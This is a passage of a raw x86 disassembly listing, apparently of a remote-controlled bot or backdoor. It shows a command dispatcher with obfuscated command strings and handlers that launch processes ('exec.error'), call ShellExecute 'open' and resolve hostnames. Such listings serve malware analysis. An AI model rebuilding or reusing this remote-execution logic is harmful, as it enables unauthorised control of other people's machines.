[esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h, 0FFFFCDB2h dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h dd 90FFFFCDh, 3CC314E8h, 0B8C88B02h, 10624DD3h, 0EAC1E1F7h dd 244C8D06h, 556890Ch, 5C247C89h, 0FFCD51E8h, 244C8BFFh dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448CA2 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447158 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60D9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60B5 call sub_401D0C call edi mov dword_4D60D9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax call near ptr 27F0000h nop lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 nop call near ptr 27E0617h test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478D6 test al, al jz short loc_404EE0 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44791F test al, al jz short loc_404EF8 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DB0 call sub_401E5B mov byte_4D60CC, 0 mov byte_4E6E84, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E9A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60CC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh call near ptr 71AB3F41h nop push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, 